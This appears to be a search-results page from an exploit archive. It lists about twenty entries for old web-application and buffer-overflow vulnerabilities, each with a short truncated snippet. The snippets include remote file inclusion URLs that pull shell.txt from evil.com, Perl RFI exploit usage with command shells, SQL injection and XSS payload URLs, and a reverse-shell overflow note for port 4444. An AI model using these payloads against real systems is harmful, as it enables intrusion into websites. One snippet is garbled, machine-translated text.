11989 matches found
Newswriter SW 1.4.2 - 'main.inc.php' Remote File Inclusion
Newswriter SW v1.4.2 Remote File Include Exploit :: XORON :: TURKISH HACKER ::" ."" ."body background-color: 006600;" ."body,td,th color: FFFFFF;" ."" ."" ."script url: ex. http://www.site.com/scriptpath/include/main.inc.php?NWCONFSYSTEMserverpath=" ."" ."" ."shell url: ex...
paBugs 2.0 Beta 3 - class.mysql.php Remote File Inclusion
paBugs 2.0 Beta 3 - class.mysql.php Remote File Inclusion ?php / ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:...
e-Vision CMS 2.0 (all_users.php) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================= e-Vision CMS 2.0 allusers.php Remote SQL Injection Exploit ============================================================= !/usr/bin/php -q -d shortopentag=on / / site:...
Techno Dreams Articles&Papers Package <=v2.0(ArticlesTableview.asp) Remote SQL Injection Vulnerability
Vulnerability Report Title : Techno Dreams Articles&Papers Package =v2.0ArticlesTableview.asp Remote SQL Injection Vulnerability Author : ajann Script Page : http://www.t-dreams.com Exploit; http://target/path/ArticlesTableview.asp?key='SQL HERE Example:...
PNPHPBB2 1.2g - phpbb_root_path Remote File Inclusion
PNPHPBB2 1.2g - phpbbrootpath Remote File Inclusion Yeah, another ZeroDay Smile Vendor: http://www.pnphpbb.com/ Vulnerable File: includes/functionsadmin.php Vulnerable Code: //The phpbbrootpath isn't initialize includeonce $phpbbrootpath . 'includes/functions.' . $phpEx ; Method To Use:...
Moodle < 1.6.2 Multiple Vulnerabilities
Binary data 3742.prm...
ADOdb Date Library Full path Bugs
Hello,, ADOdb Date Library, part of the ADOdb abstraction library Full path bugs Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] ADOdb Date Library, part of the ADOdb abstraction library Full path adodb/server.php...
MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion
!/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - MiniPort@l perl exploit.pl http://site.com/MiniPort@lPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; $sciezka = $ARGV0; $sciezkacmd = $ARGV1; $komenda = $ARGV2;...
PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ===================================================================== PayProCart 50 - 349 + + +else if$proMod +include "$proMod" . ".php"; + + +Line -- 288 - 349 +Ex --...
learncenter.txt
info: ===== script:learncenter.asp thanks to: www.lezr.com google === Powered by Learn.com ================= Exp: http://site/learncenter.asp?id="alert1; ========================== by Crackman...
FlashChat &lt;= 4.5.7 (aedating4CMS.php) Remote File Include Vulnerability
NeXtMaN mc.nadz at gmail.com Here are 2 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt? http://site.com/scriptpath/inc/cmses/aedatingCMS2.php?dirinc=http://evil.com/shell.txt? video here: Code:...
Thoroughly get super star--try it!- Vulnerability warning-the black bar safety net
A. Installation article 1. Installation If you previously installed a super star, please you go first in Control Panel to remove the super-star, and the installation directory deleted, and then in the registry, REGEDIT to delete the Super Stars. As follows: HKEYCURRENTUSERSoftware SUPERSTAR...
CubeCart < 3.0.13 Multiple Vulnerabilities
Binary data 3736.prm...
Lanifex DMO 2.3b - _incMgr Remote File Inclusion
Lanifex DMO 2.3b - incMgr Remote File Inclusion !/usr/bin/perl use LWP::UserAgent; / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - DMO: Lanifex Database of Managed Objects perl exploit.pl http://site.com/DMOPath/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...
Streamripper 1.61.25 - HTTP Header Parsing Buffer Overflow (2)
Streamripper 1.61.25 - HTTP Header Parsing Buffer Overflow 2 / name: streamripper exploit.exe 80 0 public-release streamripper streamripper.exe http://127.0.0.1:80 Connecting... on other shell + client conneted! + exploit send check shell on port 4444 now connect to 127.0.0.1:4444 / / define WIN3...
comlminclude.txt
!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!! -------------------------------------------------------------------------------- Title : Mambo comlm component archive.php Remote File Include Vulnerabilities -------------------------------------------------------------------------------- Author:...
CMS Frogss 0.4 - 'podpis' SQL Injection
?php echo "+"; echo "+\r\n"; echo "- - - DEVIL TEAM THE BEST POLISH TEAM - -\r\n\r\n"; echo "+\r\n"; echo "+"\r\n"; echo "+\r\n\r\n"; echo "- CMS frogss = 0.4 podpis SQL Injection Exploit creat new admin"\r\n"; echo "+"\r\n"; echo "+"\r\n"; echo "+"\r\n"; echo "- Script name: CMS frogss...
hoagie_php_sscanf.txt
? / hoagiephpsscanf.php PHP = 4.4.3 / 5.1.4 local buffer overflow exploit howto get offsets: set $baseaddr to 0x41414141 ulimit -c 20000 /etc/init.d/apache restart execute script via web browser tail /var/log/apache/error.log ... Wed Aug 16 15:07:10 2006 notice child pid 28222 exit signal...
Phaos 0.9.2 - basename() Remote Command Execution
Phaos 0.9.2 - basename Remote Command Execution DEVIL TEAM IRC: irc.milw0rm.com:6667 devilteam http://www.rahim.webd.pl/ ======== Contact: [email protected] cod3d by Kacper -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Greetings DragonHeart and all DEVIL TEAM...
PHlyMail Lite 3.4.4 - 'folderprops.php' Remote File Inclusion (2)
--------------------------------------------------------------------------- PHlyMail Lite = 3.4.4 Build 3.04.04 PMpathhandler Remote File Include Vulnerability 2 --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Team :...